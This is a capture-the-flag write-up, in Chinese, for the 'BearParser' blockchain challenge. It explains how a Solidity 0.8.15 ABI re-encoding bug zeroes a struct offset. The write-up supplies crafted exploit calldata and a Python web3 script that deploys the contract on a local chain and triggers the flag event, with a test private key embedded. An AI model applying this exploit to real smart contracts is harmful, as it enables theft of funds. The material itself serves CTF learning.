祥云杯 Blockchain-BearParser
分析
首先看到sodility 0.8.15
就会想到tctf中出现的abi编码漏洞,然后看到题目有两个函数,一个chall1
有三个限制。
| require(hashCompareWithLengthCheckInternal(inputs.bear.reason,string(inputs.kabi.name)),"guessname1error"); require(inputs.bear.guess%60719==60226&&inputs.bear.guess%60226==41958,"numbererror"); require(inputs.kabi.id==inputs.kabi.go);
|
但这三个限制其实很好满足
要满足第一个限制我们可以传一个bytes为0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e
,然后传一个相应的字符串NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
。注意必须得满32bytes,不然经过bytes转string会出现下面这种问题
第二个条件直接中国剩余定理算出来满足结果的guess为1874455756
第三个直接传相等的值即可
至此我们还有最后一个变量没有设置就是inputs.bear.named
,很明显它需要在chall2
里用到,其实在chall2
中它其实就是通过汇编获取到结构体里面的不同变量而已。
而最终需要控制的两个变量是kabi.name
和bear.named
| kabiname:=calldataload(add(add(off_sskabi,0x84),0x80)) bearnamed:=calldataload(add(off_bear,0x84)) ................................. require(kabiname==bearnamed,"guessname2error");
|
而正常来讲现在这两个值一个是4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e
一个是我们可以控制的,但如果你给bear.named
也设置为4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e
。此时你认为应该是相等的但实际上并不相等。
所以这里就需要用到Head Overflow Bug in Calldata Tuple ABI-Reencoding
这个abi编码漏洞了。
通俗来说,就是如果一个结构体中间有一个变长的结构,比如string或者bytes,那么他在第二次打包的时候会出现bug,导致结构体的第一个字段被改成0.
我们观察一下这里的abi结构,很明显遇到bytes32[2] calldata hole
会触发漏洞导致清零。
所以在chall2
汇编中获取到的off_sskabi
并不是原本的0x40
而是0x00
。
这样在后面利用off_sskabi
获取到的kabiname
也不会是原本的kabiname
的值0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e
。经过计算你能知道最终取到的是offset inputs.kabi.name bytes
也就是0x60
。所以我们最终应该将bear.named
设置为0x60
| kabiname:=calldataload(add(add(off_sskabi,0x84),0x80))
|
攻击
最终的calldata
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| // begin: 1 // [["111","111","0x4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e"],["96","1874455756","NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN"]] // ["0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000001"] // 0x26ad1593 // 0000000000000000000000000000000000000000000000000000000000000001 bool // 0000000000000000000000000000000000000000000000000000000000000080 offset huhu // 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[0] // 0000000000000000000000000000000000000000000000000000000000000001 bytes32[2] calldata hole[1] // 0000000000000000000000000000000000000000000000000000000000000040 offset huhu.kabi // 00000000000000000000000000000000000000000000000000000000000000e0 offset huhu.bear // 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.id uint // 000000000000000000000000000000000000000000000000000000000000006f value inputs.kabi.go uint // 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.kabi.name bytes // 0000000000000000000000000000000000000000000000000000000000000020 length inputs.kabi.name bytes // 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.kabi.name bytes // 0000000000000000000000000000000000000000000000000000000000000060 inputs.bear.named uint // 000000000000000000000000000000000000000000000000000000006fb9eccc inputs.bear.guessed uint // 0000000000000000000000000000000000000000000000000000000000000060 offset inputs.bear.reason string // 0000000000000000000000000000000000000000000000000000000000000020 length inputs.bear.reason string // 4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e value inputs.bear.reason string
|
调用结果
攻击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import solcx from solcx import compile_files from web3 import Web3,HTTPProvider from hexbytes import *
def generate_tx(chainID, to, data, value): # print(web3.eth.gasPrice) # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address))) txn = { 'chainId': chainID, 'from': Web3.toChecksumAddress(account_address), 'to': to, 'gasPrice': web3.eth.gasPrice , 'gas': 672197400, 'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) , 'value': Web3.toWei(value, 'ether'), 'data': data, } # print(txn) return txn
def sign_and_send(txn): signed_txn = web3.eth.account.signTransaction(txn, private_key) txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash) # print("txn_hash=", txn_hash) return txn_receipt
def deploy_Bearparse(): compiled_sol = compile_files(["source1.sol"],output_values=["abi", "bin"],solc_version="0.8.15") data = compiled_sol['source1.sol:Bearparse']['bin'] # print(data) txn = generate_tx(chain_id, '', data, 0) txn_receipt = sign_and_send(txn) attack_abi = compiled_sol['source1.sol:Bearparse']['abi'] # print(txn_receipt) if txn_receipt['status'] == 1: attack_address = txn_receipt['contractAddress'] return attack_address,attack_abi else: exit(0)
if __name__ == '__main__': # exp() solcx.install_solc('0.8.15') rpc = "http://127.0.0.1:8545" web3 = Web3(HTTPProvider(rpc)) private_key = 'bf5ff7715bc9032911a0c50f84b4f4cf5c533fd66539e626a96c4ea6d6e3af55' acct = web3.eth.account.from_key(private_key) account_address = acct.address chain_id = 5777 print("[+] account_address is " + str(account_address)) print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
Bearparse_address,Bearparse_abi = deploy_Bearparse() Bearparse_instance = web3.eth.contract(address=Bearparse_address, abi=Bearparse_abi) print(Bearparse_instance.all_functions())
#chall1(bool begin,huhu calldata inputs,bytes32[2] calldata hole) functionSign = HexBytes(web3.sha3(text='chall1(bool,tuple(tuple(uint256,uint256,bytes),tuple(uint256,uint256,string)),bytes32[2])')).hex()[0:10] calldata='0x26ad15930000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006f000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000006fb9eccc000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000204e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e4e' chall1_addr = generate_tx(chain_id, Bearparse_address,calldata,0) flag = sign_and_send(chall1_addr) # print(flag["logs"]) print(Bearparse_instance.events.SendFlag().processLog(flag["logs"][0]))
|